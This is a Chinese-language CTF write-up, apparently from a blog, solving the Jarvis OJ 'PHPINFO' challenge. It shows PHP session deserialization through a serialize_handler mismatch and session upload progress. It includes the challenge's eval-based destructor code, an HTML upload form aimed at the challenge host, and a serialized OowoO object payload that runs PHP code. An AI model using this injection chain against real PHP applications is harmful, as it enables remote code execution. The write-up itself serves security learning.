1. 程式人生 > >Jarvis OJ PHPINFO【審計程式碼反序列化】

Jarvis OJ PHPINFO【審計程式碼反序列化】

原題地址:http://web.jarvisoj.com:32784/

其實這題一開始是沒有任何思路的,感覺不存在任何資料傳輸接收點,後來看到了一篇wp,點這裡

感覺瞬間打開了新世界,,,這裡寫篇write up記錄下做題過程

首先開啟題目頁面直接獲得原始碼:

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');#ini_set設定指定配置選項的值。這個選項會在指令碼執行時保持新的值,並在指令碼結束時恢復。 
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

這題的突破點在哪裡,沒錯,就是我備註的那塊ini_set('session.serialize_handler', 'php');

查了下手冊:

php大於5.5.4的版本中預設使用php_serialize規則

通過phpinfo頁面,我們知道php.ini中預設session.serialize_handler為php_serialize,而index.php中將其設定為php。這就導致了seesion的反序列化問題。


由phpinfo()頁面繼續可知,session.upload_progress.enabled為On。


當一個上傳在處理中,同時POST一個與INI中設定的session.upload_progress.name同名變數時,當PHP檢測到這種POST請求時,它會在$_SESSION中新增一組資料。所以可以通過Session Upload Progress來設定session。


但是,這時就有一個問題,在題目程式碼中,沒有某個值是用來接受我們傳入的資料,並儲存到$_SESSION中的。

其實我們是有辦法傳入$_SESSION資料的,這裡就利用到了|的反序列化問題

思路很明顯了,我們需要構造一個上傳和post同時進行的情況,程式碼如下:

<!DOCTYPE html>
<html>
<head>
	<title>test XXE</title>
	<meta charset="utf-8">
</head>
<body>
	<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"><!-- 	

不對字元編碼-->
	    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
	    <input type="file" name="file" />
	    <input type="submit" value="go" />
	</form>
</body>
</html>

注意enctype屬性:


接下來考慮序列化:

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);


#|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

註釋是考慮到反轉義,和序列化之後的結果,bp抓包,將file替換,結果如下:



進一步更改,可獲得flag


總結:多翻翻神奇的php手冊,,,